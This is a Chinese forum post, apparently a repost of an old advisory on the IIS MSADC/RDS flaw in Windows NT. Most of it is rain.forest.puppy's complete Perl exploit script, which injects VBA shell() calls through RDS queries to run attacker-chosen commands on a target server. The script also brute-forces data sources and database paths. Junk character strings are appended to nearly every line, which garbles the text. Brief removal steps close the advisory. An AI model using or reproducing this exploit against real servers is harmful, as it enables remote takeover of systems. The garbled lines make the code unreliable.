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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) !$?@;}=  
pxbNeqK@p  
涉及程序: lEDHx[q  
Microsoft NT server =, 0a3D6b  
vz:0"y  
描述: ;?!rpj  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 gh}AD1TN]  
Z)A+ wM  
详细: ^zJ. W  
如果你没有时间读详细内容的话,就删除: C]H <L#)ZU  
c:\Program Files\Common Files\System\Msadc\msadcs.dll $iPN5@F  
有关的安全问题就没有了。 >FHsZKJ  
,OCTm%6e  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 9/M!S[N9  
w'0M>2   
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ;5k|gW  
关于利用ODBC远程漏洞的描述,请参看: 4sQAR6_SW~  
#<PdZl R  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm `Cf en8  
5ecz'eA%  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 zrO|L|F&P  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp f ti|3c  
Q $0%~`t  
这里不再论述。 7 !.8#A':  
} XU:DE  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: J\+gd%  
E`n`#=xKR  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset [Be53U{=  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! t)Q @sKT6  
4_I{Q^f  
9sj W  
#将下面这段保存为txt文件,然后: "perl -x 文件名" nE0~Y2  
0r ; nz]'  
#!perl [0ffOTy  
# }l?_Cfvu  
# MSADC/RDS 'usage' (aka exploit) script T;r];Y(b*  
# fsc~$^.~\  
# by rain.forest.puppy xO-U]%oq  
# d 4\E  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me K_|~3g  
# beta test and find errors! v6-~fcX0G  
s]vJUC,s  
use Socket; use Getopt::Std; Gi2ad+QH-  
getopts("e:vd:h:XR", \%args); eQVPxt2N  
AV 5\W}  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; -0o6*?[Z  
8C,utjy  
if (!defined $args{h} && !defined $args{R}) { NZC='3Uz  
print qq~ I,<54? vS  
Usage: msadc.pl -h <host> { -d <delay> -X -v } -Bo~"q  
-h <host> = host you want to scan (ip or domain) z2Y_L8u2  
-d <seconds> = delay between calls, default 1 second uWB:"&!^  
-X = dump Index Server path table, if available *Iwk47J ;a  
-v = verbose QYTTP6 Gz+  
-e = external dictionary file for step 5 dXcPWbrU4  
Wbn[Q2h5  
Or a -R will resume a command session y+";  
.eabtGO,  
~; exit;} ,B~lwF9  
mbX)'. +L  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; V4eng "  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Y%)h)El  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} YNg\"XjJM<  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); RZ|HwYG  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} MLt'YW^  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } >C:"$x2"#(  
c BHL,  
if (!defined $args{R}){ $ret = &has_msadc; uspkn1-  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 5]H))}9>d  
(K*/Vp  
print "Please type the NT commandline you want to run (cmd /c assumed):\n"  !u53 3  
. "cmd /c "; [W9e>Nsp0  
$in=<STDIN>; chomp $in; GSGyF  
$command="cmd /c " . $in ; 5 dfe@$  
\[[TlB>  
if (defined $args{R}) {&load; exit;} AB2mt:^  
#a(%(k S  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; T2 :oWjC3$  
&try_btcustmr; Mhv1K|4s  
~KAp\!,  
print "\nStep 2: Trying to make our own DSN..."; "ep`  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; vo(g0Au)  
[y|^P\D  
print "\nStep 3: Trying known DSNs..."; 3$?9uMl#  
&known_dsn; &RK H2R  
W;Ud<7<;Z  
print "\nStep 4: Trying known .mdbs..."; ,7^d9v3t  
&known_mdb; Q7~'![(a  
(s}Rj)V[^  
if (defined $args{e}){ a=J@y K  
print "\nStep 5: Trying dictionary of DSN names..."; UF&0 & `@  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } u}K5/hC  
3>-[B`dD(  
print "Sorry Charley...maybe next time?\n"; 2BoFyL*  
exit; FX HAZ2/\  
P0%N Q1bn  
############################################################################## >Z#uFt0<Pm  
T@;! yz}Pf  
sub sendraw { # ripped and modded from whisker )KSisEL  
sleep($delay); # it's a DoS on the server! At least on mine... e >L5.~i  
my ($pstr)=@_; i\t753<Ys  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ;_mgiKHg  
die("Socket problems\n"); 0LetsDN7I  
if(connect(S,pack "SnA4x8",2,80,$target)){ 9#v-2QY  
select(S); $|=1; @GN(]t&3  
print $pstr; my @in=<S>; v<L=!-b^  
select(STDOUT); close(S); H@K#|A=a  
return @in; <+V-k|  
} else { die("Can't connect...\n"); }} To3^L_v"  
lV P9=  
############################################################################## (C,e6r Y  
u@<Pu@?xm  
sub make_header { # make the HTTP request iV5}U2Vh  
my $msadc=<<EOT 8O,? |c=>  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Z}|TW~J=  
User-Agent: ACTIVEDATA "gFxfWIA  
Host: $ip )VNM/o%Q  
Content-Length: $clen cppL0myJ  
Connection: Keep-Alive ov8 ByJc  
dVa!.q_3  
ADCClientVersion:01.06 ,Kuk_@(}5~  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 +wipfL~&S  
FC6xFg^  
--!ADM!ROX!YOUR!WORLD! e|yX QTlvL  
Content-Type: application/x-varg 85'nXYN{d  
Content-Length: $reqlen BWWq4mdb{  
'!p=aF9L  
EOT =4eUAeH {w  
; $msadc=~s/\n/\r\n/g; 1n_;kaY  
return $msadc;} UEzsDJu  
T=WNBqKo]  
############################################################################## <$%ql'=  
$*k)|4  
sub make_req { # make the RDS request xq2V0Jp1u  
my ($switch, $p1, $p2)=@_; q(78fZ *X  
my $req=""; my $t1, $t2, $query, $dsn; _g[-=y{Bb  
/#f^n]v  
if ($switch==1){ # this is the btcustmr.mdb query >-M ]:=L  
$query="Select * from Customers where City=" . make_shell(); {(4# )K2g%  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . G8eD7%{b:)  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} $xT1 1 ^  
xRlYr# %  
elsif ($switch==2){ # this is general make table query } ~| k  
$query="create table AZZ (B int, C varchar(10))"; 8'_ 0g[s  
$dsn="$p1";} @xS]!1-  
.oEbEs  
elsif ($switch==3){ # this is general exploit table query );Z]SGd  
$query="select * from AZZ where C=" . make_shell(); qy ,"X)^#  
$dsn="$p1";} GX  }q9  
xST4}Mb^f  
elsif ($switch==4){ # attempt to hork file info from index server zPR8f-Uvw  
$query="select path from scope()"; Q8q@Y R#  
$dsn="Provider=MSIDXS;";} ?sXG17~Bm  
'Dath>Y=  
elsif ($switch==5){ # bad query F)S PaC4  
$query="select"; ,(N[*)G  
$dsn="$p1";} UX2lPgKdLz  
oZN'H T  
$t1= make_unicode($query); )#C mQXgG  
$t2= make_unicode($dsn); &J$##B  
$req = "\x02\x00\x03\x00"; wC`;f5->  
$req.= "\x08\x00" . pack ("S1", length($t1)); "$|Zr  
$req.= "\x00\x00" . $t1 ; h i|!  
$req.= "\x08\x00" . pack ("S1", length($t2)); wfR&li{  
$req.= "\x00\x00" . $t2 ; | kXm}K  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; &^!h}D%T/  
return $req;} O,s.D,S  
d(;4`kd*N  
############################################################################## ^:KO_{3E  
})Yv9],6  
sub make_shell { # this makes the shell() statement ^A9 M;q  
return "'|shell(\"$command\")|'";} eKG2*CV  
(dqCa[  
############################################################################## fThgK;Qy'U  
</[: 9Cl  
sub make_unicode { # quick little function to convert to unicode eGL<vX  
my ($in)=@_; my $out; ]s_8A`vm  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 3@<zg1.9-  
return $out;} +v7) 1y  
28I^$> [  
############################################################################## O )d[8jw"  
xZ.!d.rn  
sub rdo_success { # checks for RDO return success (this is kludge) ;11x"S  
my (@in) = @_; my $base=content_start(@in); /7"I#U^u/  
if($in[$base]=~/multipart\/mixed/){ I G ~`i I  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} O;uG?.\  
return 0;} Bc5+ss  
%,P >%'0  
############################################################################## b:W-l?  
B?bW1  
sub make_dsn { # this makes a DSN for us eWs&J24  
my @drives=("c","d","e","f"); ;i<jhNA  
print "\nMaking DSN: "; =r2]uW9  
foreach $drive (@drives) { neZ.`"LV  
print "$drive: "; 0#_'o ,  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 8\.b4FNJ  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" EgjR^A1W2  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); (p#0)C  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; }H> ^o9  
return 0 if $2 eq "404"; # not found/doesn't exist p4!:]0c  
if($2 eq "200") { cVnJ^*Z  
foreach $line (@results) {  VqSc;w  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} WJH\~<{mP  
} return 0;} \3f& 7wU  
g4p  
############################################################################## 58Xzup_"  
,f3pqi9|  
sub verify_exists { : rMM4  
my ($page)=@_; ~^jq(:d)  
my @results=sendraw("GET $page HTTP/1.0\n\n"); W !w,f;  
return $results[0];} r0;:t   
'xY@x-o  
############################################################################## m,i,n9C->  
soA|wk\A  
sub try_btcustmr { )SF}2?7e  
my @drives=("c","d","e","f");  ^zzP.   
my @dirs=("winnt","winnt35","winnt351","win","windows"); 'rp }G&m  
\MC-4Yz  
foreach $dir (@dirs) { JxE53ev  
print "$dir -> "; # fun status so you can see progress 58\&/lYW  
foreach $drive (@drives) { &s Pq<lo  
print "$drive: "; # ditto M>9-=$7  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; gI^o U 4mq  
$reqlenlen=length( "$reqlen" ); 7w,FX.=;cv  
$clen= 206 + $reqlenlen + $reqlen; (wDm*bZ*  
A1'hlAGF  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ?Nf>]|K:Q  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} g VQjL+_W  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} `ps)0!L L`  
m8'C_U^89  
############################################################################## EVp,Q"V]  
S5~VD?O,  
sub odbc_error { \^ghdU  
my (@in)=@_; my $base; t!*+8Q !e  
my $base = content_start(@in); @1*ohdHH  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ?]D"k4  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; R\o<7g-|  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; | N0Z-|  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 5N%93{L  
return $in[$base+4].$in[$base+5].$in[$base+6];} )* 4fzo  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 9Gv[ 8'I  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . PH"n{lW.T  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} -@T/b$]'n  
?5_7;Ha  
############################################################################## Q+g!V5'  
2M# r]  
sub verbose { nX$XL=6mJ&  
my ($in)=@_; :0s]U_h  
return if !$verbose; T&Lb<'f  
print STDOUT "\n$in\n";} `PY>Hgb  
()~pY!)1/  
############################################################################## B6wRg8  
zZVfj:i8  
sub save { |V<h=D5W  
my ($p1, $p2, $p3, $p4)=@_; LX^u_Iu   
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ^f# F I&  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; =Zi2jL?On  
close OUT;} ]T%rjsN  
8 Y5  
############################################################################## v{}#?=I5  
cJ54s}  
sub load { zbq@pj)Qu  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Yo[;W vu  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); *zr(Zv  
@p=<IN>; close(IN); &197P7&o  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Z)jw|T'X  
$target= inet_aton($ip) || die("inet_aton problems"); ,?L2wl[  
print "Resuming to $ip ..."; O%FPS=  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; D9z|VIw8  
if($p[1]==1) { TY1I=8  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; L:FoSCN Y(  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; k{'0[,mx#  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); eopD5  
if (rdo_success(@results)){print "Success!\n";} 0{= `on;  
else { print "failed\n"; verbose(odbc_error(@results));}} u9N 1pZ~  
elsif ($p[1]==3){ '0FhL)x?"T  
if(run_query("$p[3]")){ @HOBRRm`  
print "Success!\n";} else { print "failed\n"; }} >yULC|'F&~  
elsif ($p[1]==4){ Z l*X?5u  
if(run_query($drvst . "$p[3]")){ ~$~5qwl  
print "Success!\n"; } else { print "failed\n"; }} M%@!cW  
exit;} 0(S"{Ov  
&}A[x1x06)  
############################################################################## JfR %L q~  
 -4cXRv]  
sub create_table { (;q;E\Ej q  
my ($in)=@_; 8?%-'z.  
$reqlen=length( make_req(2,$in,"") ) - 28; %HL*c =  
$reqlenlen=length( "$reqlen" ); 7k rUKYVo  
$clen= 206 + $reqlenlen + $reqlen; <TP=oq?I/  
my @results=sendraw(make_header() . make_req(2,$in,"")); IP(Vr7-v  
return 1 if rdo_success(@results); [<6S%s  
my $temp= odbc_error(@results); verbose($temp); 9T1ZL5  
return 1 if $temp=~/Table 'AZZ' already exists/; v61[.oS  
return 0;} '#&os`mQ  
:$n=$C -wp  
############################################################################## (JM5`XwM  
]bK=FIK2  
sub known_dsn { uH(f$A  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go w'UVKpG+  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", PF53mUs4  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", C<P%CG&;  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 2n|K5FR()  
^3UGV*Ypk  
foreach $dSn (@dsns) { HbxL:~:}J  
print "."; 7eiV{tYF  
next if (!is_access("DSN=$dSn")); ;NHt7p8SE  
if(create_table("DSN=$dSn")){ } x2DT8u  
print "$dSn successful\n"; {$wjO7Glp  
if(run_query("DSN=$dSn")){ wf:OK[r9  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { P9vA7[  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 7BJzM lJ1Y  
&8vCZN^  
############################################################################## |%' nVxc4r  
, T8>}U(  
sub is_access { *exS6@N]  
my ($in)=@_; IyWI5Q"t  
$reqlen=length( make_req(5,$in,"") ) - 28; Y9&,t\ q  
$reqlenlen=length( "$reqlen" ); 2u5|8  
$clen= 206 + $reqlenlen + $reqlen; iLkZ"X.'|1  
my @results=sendraw(make_header() . make_req(5,$in,"")); {qN 5MsY  
my $temp= odbc_error(@results); Ro9tZ'N!S  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); j'HZ\_  
return 0;} w.\&9]P3~  
[rSR:V?"a  
############################################################################## OUhqM VX9C  
"$2 y-|  
sub run_query { .8by"?**  
my ($in)=@_; ;n&t>pBM  
$reqlen=length( make_req(3,$in,"") ) - 28; :gep:4&u  
$reqlenlen=length( "$reqlen" ); xo&]$W8  
$clen= 206 + $reqlenlen + $reqlen; 1f":HnLRM  
my @results=sendraw(make_header() . make_req(3,$in,"")); //s:5S<Z  
return 1 if rdo_success(@results); ;{KV /<3  
my $temp= odbc_error(@results); verbose($temp); p_${Nj  
return 0;} \uaJ @{Vug  
Ir qZi1  
############################################################################## (A~/'0/  
@T'i/}nl  
sub known_mdb { RT.D"WvT  
my @drives=("c","d","e","f","g"); Q+W1lv8R  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Vnr[}<L  
my $dir, $drive, $mdb; &L,nqc\3D5  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; E: $P=%b  
8[E!E)4M  
# this is sparse, because I don't know of many i5CK*"$Q  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 7Z-O_h3;)@  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", <U!`J[n%  
"\\system32\\certmdb.mdb", tX> G,hw  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ;;:-l99  
hKT  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", !3*(N8_|#  
"\\cfusion\\cfapps\\forums\\forums_.mdb", `CgaS#  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", iC9 8_o_9  
"\\cfusion\\cfapps\\security\\realm_.mdb", +/)#( j@  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", o1h={ao  
"\\cfusion\\database\\cfexamples.mdb", q@nP}Pv&5  
"\\cfusion\\database\\cfsnippets.mdb", 'i4_`^:+  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", lna}@]oR  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", \4-"L>  
"\\cfusion\\brighttiger\\database\\cleam.mdb", `O[};3O&  
"\\cfusion\\database\\smpolicy.mdb", LYaZ1*  
"\\cfusion\\database\cypress.mdb", ^7 &5 z&o  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", +KvU$9Ad>  
"\\website\\cgi-win\\dbsample.mdb", %sX$ nmi3  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", $0lD>yu  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" I~Zh@d%  
); #these are just ]jmL]Ny^  
foreach $drive (@drives) { *Of4o  
foreach $dir (@dirs){ ysQ,)QoiR{  
foreach $mdb (@sysmdbs) { ~,5gUl?Il  
print "."; PEuIWXr  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 49dd5ddr  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; NT+?  #0I  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ~XWQhIAM4  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; \0vr>C  
} else { print "Something's borked. Use verbose next time\n"; }}}}} t-0a7 1#e  
j{9D{  
foreach $drive (@drives) { O^^C;U@U<1  
foreach $mdb (@mdbs) { -2A(5B9Fq  
print "."; BC&9fr  
if(create_table($drv . $drive . $dir . $mdb)){ h9Y%{v  
print "\n" . $drive . $dir . $mdb . " successful\n"; HLZ;8/|48m  
if(run_query($drv . $drive . $dir . $mdb)){ P%(O|  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; MgNU``  
} else { print "Something's borked. Use verbose next time\n"; }}}} p~,]*y:XT  
} Gch[Otq]%  
Ju :CMkv  
############################################################################## bj"J'  
JAX*hGhkh  
sub hork_idx { V*iH}Y?^p  
print "\nAttempting to dump Index Server tables...\n"; \8 h;K>=h  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; e^[H[d.WMC  
$reqlen=length( make_req(4,"","") ) - 28; M#=] k  
$reqlenlen=length( "$reqlen" ); ~;&m*2 |V  
$clen= 206 + $reqlenlen + $reqlen; 9uBM<  
my @results=sendraw2(make_header() . make_req(4,"","")); .On|uC)!  
if (rdo_success(@results)){ 3 "Q=Vl"  
my $max=@results; my $c; my %d; FZtfh  
for($c=19; $c<$max; $c++){ [.S#rGYk  
$results[$c]=~s/\x00//g; A' /KUi  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; f1_<G  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; yzLpK;  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ^,;z|f'% *  
$d{"$1$2"}="";} D*F4it.  
foreach $c (keys %d){ print "$c\n"; } D0#x Lh  
} else {print "Index server doesn't seem to be installed.\n"; }} de;GrPLAi  
+{W>i;U  
############################################################################## (v}>tb*#`  
3+G@g#MY  
sub dsn_dict { (s7;^)}zx  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 75T7+:p  
while(<IN>){ NNE<L;u  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 9lW;Nk*j:  
next if (!is_access("DSN=$dSn")); ae0> W  
if(create_table("DSN=$dSn")){ ghX|3lI\q  
print "$dSn successful\n"; OVko+X`  
if(run_query("DSN=$dSn")){ Ar:*oiU  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { o;=l ^-  
print "Something's borked. Use verbose next time\n";}}} 5c^Z/ Jl$c  
print "\n"; close(IN);} E gal4  
4)"n RjGg  
############################################################################## 8-_QFgY  
_',prZ*  
sub sendraw2 { # ripped and modded from whisker LX@/RAd vz  
sleep($delay); # it's a DoS on the server! At least on mine... %T)oCjM[\  
my ($pstr)=@_; 5K<5kHpvJ{  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || MwR 0@S}*  
die("Socket problems\n"); T:IW%?M  
if(connect(S,pack "SnA4x8",2,80,$target)){ e=Z, Jg  
print "Connected. Getting data"; FcRW;e8-  
open(OUT,">raw.out"); my @in; 9f',7i  
select(S); $|=1; print $pstr; ;IVDr:  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} )Lwc  
close(OUT); select(STDOUT); close(S); return @in; (q4),y<:[  
} else { die("Can't connect...\n"); }} -GqT7`:(H4  
8 XICF  
############################################################################## #DN0T' B  
<HJl2p N  
sub content_start { # this will take in the server headers @*qz(h]\  
my (@in)=@_; my $c; qnoNT%xazo  
for ($c=1;$c<500;$c++) { E/09hD Q  
if($in[$c] =~/^\x0d\x0a/){ Z7_ zMM  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 3q'&j, ,^  
else { return $c+1; }}} #SX8=f`K5  
return -1;} # it should never get here actually ^B@Wp  
>2Jdq  
############################################################################## @EDs~ lPv  
d ,Y#H0`  
sub funky { -W<vyNSr  
my (@in)=@_; my $error=odbc_error(@in); L}FO jrN  
if($error=~/ADO could not find the specified provider/){ jWY$5Vq<H  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; x#Q>J"g  
exit;} vk?skN@  
if($error=~/A Handler is required/){ j8n4fv-)f  
print "\nServer has custom handler filters (they most likely are patched)\n"; [ e8x&{L-_  
exit;} gt ";2,;X  
if($error=~/specified Handler has denied Access/){ +8#_59;x  
print "\nServer has custom handler filters (they most likely are patched)\n"; GHHav12][  
exit;}} (&P9+Tl  
7 As|Ns`  
############################################################################## PNA\ TXT  
fnNYX]_bk  
sub has_msadc { v\,N5  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ?  BE6  
my $base=content_start(@results); \2(SB  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); C:uz6i1  
return 0;} Ht-t1q  
k $f Gom  
######################## `D":Q=:  
sU"}-de  
HoLv`JA  
解决方案: 3VUWX5K?  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll hx f'5uc  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 #$1og=  
W{5:'9,  
拿出来充数 哈哈
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